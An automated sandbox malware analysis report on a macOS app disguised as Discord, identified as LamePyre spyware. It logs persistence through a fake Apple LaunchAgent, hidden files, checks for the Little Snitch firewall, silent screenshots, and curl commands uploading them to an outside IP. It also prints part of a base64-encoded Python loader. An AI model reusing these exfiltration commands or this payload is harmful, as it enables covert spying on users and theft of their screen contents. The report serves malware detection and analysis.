Analysis Report Pe7niErK6B

Overview

General Information

Joe Sandbox Version:	25.0.0
Analysis ID:	65585
Start date:	12.12.2018
Start time:	11:23:26
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 11m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Pe7niErK6B (renamed file extension from none to app)
Cookbook file name:	defaultmacfilecookbook.jbs
Analysis system description:	Mac Mini, High Sierra 10.13.2 (MS Office 16.9, Java 1.8.0_25)
Detection:	MAL
Classification:	mal76.troj.spyw.evad.macAPP@0/34@0/0
Warnings:	Show All Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many READ_NOCANCEL calls found.

Detection

Strategy	Score	Range	Reporting	Whitelisted	Detection
Threshold	76	0 - 100	Report FP / FN	false

Classification

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Valid Accounts	Command-Line Interface1	Hidden Files and Directories1	Launch Daemon2	Masquerading1	Credential Dumping	Process Discovery11	Application Deployment Software	Screen Capture2	Data Compressed	Uncommonly Used Port1
Replication Through Removable Media	Scripting31	Launch Daemon2	Accessibility Features	Hidden Files and Directories1	Network Sniffing	Security Software Discovery1	Remote Services	Data from Removable Media	Exfiltration Over Other Network Medium	Standard Application Layer Protocol11
Drive-by Compromise	Windows Management Instrumentation	Launch Agent4	Path Interception	Scripting31	Input Capture	System Information Discovery31	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Custom Cryptographic Protocol

Signature Overview

Click to jump to signature section

Networking:

Detected TCP or UDP traffic on non-standard ports

Show sources

Source: global traffic

TCP traffic: 192.168.0.50:49243 -> 37.1.221.204:8080

Connects to IPs without corresponding DNS lookups

Show sources

Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 17.253.57.212
Source: unknown	TCP traffic detected without corresponding DNS query: 17.253.57.212
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204
Source: unknown	TCP traffic detected without corresponding DNS query: 37.1.221.204

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Detected macOS LamePyre spyware

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

IOC file dropped: /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist

Jump to dropped file

Captures screenshots with shell command 'screencapture'

Show sources

Source: /bin/bash (PID: 584)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 587)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 594)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 599)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 605)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 612)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 614)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 621)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 628)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 630)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 637)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 639)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 646)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 649)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 655)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 662)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 664)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 671)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 678)	Screen captured: screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior

Explicitly creates screenshots silently (i.e. without playing sounds)

Show sources

Source: /bin/bash (PID: 584)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 587)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 594)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 599)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 605)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 612)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 614)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 621)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 628)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 630)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 637)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 639)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 646)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 649)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 655)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 662)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 664)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 671)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior
Source: /bin/bash (PID: 678)	Screencapture executable (-x switch): screencapture -C -x /tmp/alloy.png -> screencapture -C -x /tmp/alloy.png	Jump to behavior

System Summary:

Writes Python scripts without typical Python file extensions

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)

Python file created: /Users/henry/.system/.systemkeeper

Jump to dropped file

Classification label

Show sources

Source: classification engine

Classification label: mal76.troj.spyw.evad.macAPP@0/34@0/0

Persistence and Installation Behavior:

Many shell processes execute programs via execve syscall (may be indicative of malicious behavior)

Show sources

Source: /bin/sh (PID: 572)	Shell process: mkdir -p /Users/henry/.system	Jump to behavior
Source: /bin/sh (PID: 573)	Shell process: mkdir -p /Users/henry/Library/LaunchAgents	Jump to behavior
Source: /bin/sh (PID: 574)	Shell process: launchctl load -w /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist	Jump to behavior
Source: /bin/sh (PID: 578)	Shell process: ps -ef	Jump to behavior
Source: /bin/sh (PID: 580)	Shell process: grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 581)	Shell process: grep -v grep	Jump to behavior
Source: /bin/sh (PID: 579)	Shell process: ps -ef	Jump to behavior
Source: /bin/sh (PID: 582)	Shell process: grep Little Snitch	Jump to behavior
Source: /bin/sh (PID: 583)	Shell process: grep -v grep	Jump to behavior
Source: /bin/sh (PID: 591)	Shell process: ps -ef
Source: /bin/sh (PID: 592)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 593)	Shell process: grep -v grep
Source: /bin/sh (PID: 601)	Shell process: ps -ef
Source: /bin/sh (PID: 602)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 603)	Shell process: grep -v grep
Source: /bin/sh (PID: 609)	Shell process: ps -ef
Source: /bin/sh (PID: 610)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 611)	Shell process: grep -v grep
Source: /bin/sh (PID: 618)	Shell process: ps -ef
Source: /bin/sh (PID: 619)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 620)	Shell process: grep -v grep
Source: /bin/sh (PID: 625)	Shell process: ps -ef
Source: /bin/sh (PID: 626)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 627)	Shell process: grep -v grep
Source: /bin/sh (PID: 634)	Shell process: ps -ef
Source: /bin/sh (PID: 635)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 636)	Shell process: grep -v grep
Source: /bin/sh (PID: 643)	Shell process: ps -ef
Source: /bin/sh (PID: 644)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 645)	Shell process: grep -v grep
Source: /bin/sh (PID: 651)	Shell process: ps -ef
Source: /bin/sh (PID: 652)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 653)	Shell process: grep -v grep
Source: /bin/sh (PID: 659)	Shell process: ps -ef
Source: /bin/sh (PID: 660)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 661)	Shell process: grep -v grep
Source: /bin/sh (PID: 668)	Shell process: ps -ef
Source: /bin/sh (PID: 669)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 670)	Shell process: grep -v grep
Source: /bin/sh (PID: 675)	Shell process: ps -ef
Source: /bin/sh (PID: 676)	Shell process: grep Little Snitch
Source: /bin/sh (PID: 677)	Shell process: grep -v grep

Uploads files by using the "curl" command and emulating a filled-in form

Show sources

Source: /bin/bash (PID: 586)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 588)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 595)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 604)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 606)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 613)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 615)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 622)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 629)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 631)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 638)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 640)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 647)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 654)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 656)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 663)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 665)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 672)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 679)	Curl file upload using -F: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior

Creates hidden files, links and/or directories

Show sources

Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)	Hidden file created: /Users/henry/.system/.helper	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 566)	Hidden file created: /Users/henry/.system/.systemkeeper	Jump to behavior
Source: /usr/sbin/screencapture (PID: 584)	Hidden file created: /tmp/.alloy.png-bSGC	Jump to behavior
Source: /usr/sbin/screencapture (PID: 587)	Hidden file created: /tmp/.alloy.png-fVAs	Jump to behavior
Source: /usr/sbin/screencapture (PID: 594)	Hidden file created: /tmp/.alloy.png-trDy	Jump to behavior
Source: /usr/sbin/screencapture (PID: 599)	Hidden file created: /tmp/.alloy.png-Ciot	Jump to behavior
Source: /usr/sbin/screencapture (PID: 605)	Hidden file created: /tmp/.alloy.png-Jwlg	Jump to behavior
Source: /usr/sbin/screencapture (PID: 612)	Hidden file created: /tmp/.alloy.png-OKVg	Jump to behavior
Source: /usr/sbin/screencapture (PID: 614)	Hidden file created: /tmp/.alloy.png-0JUk	Jump to behavior
Source: /usr/sbin/screencapture (PID: 621)	Hidden file created: /tmp/.alloy.png-Scvr	Jump to behavior
Source: /usr/sbin/screencapture (PID: 628)	Hidden file created: /tmp/.alloy.png-3tBv	Jump to behavior
Source: /usr/sbin/screencapture (PID: 630)	Hidden file created: /tmp/.alloy.png-9exN	Jump to behavior
Source: /usr/sbin/screencapture (PID: 637)	Hidden file created: /tmp/.alloy.png-NqNk	Jump to behavior
Source: /usr/sbin/screencapture (PID: 639)	Hidden file created: /tmp/.alloy.png-MR2Y	Jump to behavior
Source: /usr/sbin/screencapture (PID: 646)	Hidden file created: /tmp/.alloy.png-8UHL	Jump to behavior
Source: /usr/sbin/screencapture (PID: 649)	Hidden file created: /tmp/.alloy.png-lIjK	Jump to behavior
Source: /usr/sbin/screencapture (PID: 655)	Hidden file created: /tmp/.alloy.png-whQ4	Jump to behavior
Source: /usr/sbin/screencapture (PID: 662)	Hidden file created: /tmp/.alloy.png-WEFK	Jump to behavior
Source: /usr/sbin/screencapture (PID: 664)	Hidden file created: /tmp/.alloy.png-Idi5	Jump to behavior
Source: /usr/sbin/screencapture (PID: 671)	Hidden file created: /tmp/.alloy.png-ykTw	Jump to behavior
Source: /usr/sbin/screencapture (PID: 678)	Hidden file created: /tmp/.alloy.png-17cr	Jump to behavior

Executes commands using a shell command-line interpreter

Show sources

Source: /Users/henry/Desktop/unpack/DiscordApp.app/Contents/MacOS/Application Stub (PID: 561)	Shell command executed: /bin/bash -c PAYLOAD_DATA='IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KCmltcG9ydCBiYXNlNjQKaW1wb3J0IGxvZ2dpbmcKaW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmZyb20gc3lzIGltcG9ydCBleGl0CmZyb20gdGV4dHdyYXAgaW1wb3J0IGRlZGVudAoKCkxPQURFUl9PUFRJT05TID0gewogICAgImxhdW5jaF9hZ2VudF9uYW1lIjogImNvbS5hcHBsZS5zeXN0ZW1rZWVwZXIiLAogICAgInBheWxvYWRfZmlsZW5hbWUiOiAiLnN5c3RlbWtlZXBlciIsCiAgICAicHJvZ3JhbV9kaXJlY3RvcnkiOiBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLnN5c3RlbSIpCn0KUEFZTE9BRF9CQVNFNjQgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjRLQ21sdGNHOXlkQ0J6ZVhNc1ltRnpaVFkwTzJWNFpXTW9ZbUZ6WlRZMExtSTJOR1JsWTI5a1pTZ25ZMVpDZFZWVlJtRmtNa3A0VVd4dk9Vb3hRa05pU0VaS1ZtbGpTMkZYTVhkaU0wb3dTVWhPTldONWQyZGtXRXB6WWtkc2FVMXFkSEJpV0VKMlkyNVJaMk50VlhOSlNFNHhXVzVDZVdJeVRteGpNMDAzV1RJeGEwbEVNR2RKYmtKNlNVTXhiRnBwUWpoSlIyUjVXbGhCWjFSSGJEQmtSM2hzV0VOQ1ZHSnRiREJaTW1kblprTkNibU50Vm5kSlF6RXlTVWRrZVZwWVFXbERia0o2U1VRd1oyTXpWbWxqU0VwMldUSldlbU41TlZGaU0wSnNZbWxvYW1KWFVYTkpTRTV2V2xkNGMxQldVbmxrVjFWelNVaE9NRnBIT1RGa1JERjZaRmRLZDJOdE9XcGFXRTU2VEd4Q1NsVkZWWEJEYlRreFpFTkJPVWxJUW5wTWJrNHdXa2M1TVdSRE5YbG	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 572)	Shell command executed: /bin/sh -c mkdir -p /Users/henry/.system	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 573)	Shell command executed: /bin/sh -c mkdir -p /Users/henry/Library/LaunchAgents	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 574)	Shell command executed: /bin/sh -c launchctl load -w /Users/henry/Library/LaunchAgents/com.apple.systemkeeper.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 576)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 577)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 590)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 600)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 608)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 617)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 624)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 633)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 642)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 650)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 658)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 667)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 674)	Shell command executed: /bin/sh -c ps -ef \| grep Little\ Snitch \| grep -v grep

Executes the "curl" command used to transfer data via the network (typically using HTTP/S)

Show sources

Source: /bin/bash (PID: 586)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 588)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 595)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 604)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 606)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 613)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 615)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 622)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 629)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 631)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 638)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 640)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 647)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 654)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
Source: /bin/bash (PID: 656)	Curl executable: /usr/bin/curl -> curl -F scr=@/tmp/alloy.png http://37.1.221.204/handler.php?uid=D7FC6553-0FAA-5BB8-86D8-C132DF7DC85C	Jump to behavior
